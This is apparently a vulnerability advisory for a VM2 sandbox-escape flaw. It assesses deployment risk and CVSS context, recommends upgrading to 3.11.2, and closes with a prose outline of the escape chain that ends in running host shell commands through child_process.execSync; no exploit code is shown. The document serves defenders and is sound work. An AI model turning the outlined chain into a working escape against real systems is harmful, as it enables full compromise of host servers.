VM2 CVE-2026-44009

Exploitation requires that the target application uses VM2 (versions prior to 3.11.2) to execute attacker-controllable JavaScript code. The specific vulnerable condition is any deployment where untrusted users can supply JavaScript strings that are passed to the VM2 sandbox's run() method or equivalent execution functions. No special VM2 configuration, non-default settings, or feature flags are required - the vulnerability exists in default VM2 installations. The CVSS vector (AV:N/AC:L/PR:N/UI:N) indicates network accessibility with no authentication, but this assumes the application exposes code execution endpoints to unauthenticated users. Real-world exploitation is limited by whether the application architecture allows untrusted code submission to VM2. Applications using VM2 only for internal trusted code or with robust authentication protecting code execution endpoints face reduced risk. The vulnerability affects all Node.js platforms where VM2 can run (Linux, Windows, macOS) with no platform-specific limitations. No user interaction is required beyond submitting the malicious code payload.

The CVSS 9.8 score (AV:N/AC:L/PR:N/UI:N) indicates worst-case severity: network-accessible, low-complexity exploitation requiring no privileges or user interaction. However, real-world risk requires careful assessment of deployment context. The 'network vector' assumes attackers can remotely supply JavaScript code to a VM2 sandbox - this depends entirely on application architecture. Common risk scenarios include code execution platforms, serverless function sandboxes, plugin systems, and online JavaScript playgrounds. In these contexts, the vulnerability enables complete host compromise from sandbox escape. The GitHub advisory confirms a working POC (provided in the description), and the vendor has released version 3.11.2 as a fix. No EPSS score or CISA KEV status is provided in the input data, so widespread exploitation status is unknown. The vulnerability is one of three RCE issues fixed simultaneously in v3.11.2 (GHSA-9vg3-4rfj-wgcm, GHSA-9qj6-qjgg-37qq), suggesting VM2's sandbox model has fundamental design weaknesses. Organizations using VM2 for security boundaries face critical risk and should prioritize remediation. Those not exposing VM2 to untrusted code can deprioritize, but should still upgrade given the severity. Note the CVSS vector suggests unauthenticated network access, but exploitation actually requires the ability to submit code to the sandbox - verify whether your deployment exposes this capability before assuming network-level risk.

An attacker identifies a web application that uses VM2 to execute user-submitted JavaScript code, such as a code playground, serverless function platform, or plugin system. The attacker submits the provided POC code through the application's code execution interface. The malicious script creates an object with null prototype, throws it as an exception, then catches it to obtain both proxied and unproxied references. By setting Buffer.prototype.inspect as a property and accessing its constructor, the attacker gains access to the host's Function object. Using Function to construct a process accessor, the attacker invokes require('child_process').execSync() to execute arbitrary shell commands on the host server, completely bypassing the VM2 sandbox. From here, the attacker can install backdoors, exfiltrate data, pivot to internal networks, or deploy ransomware.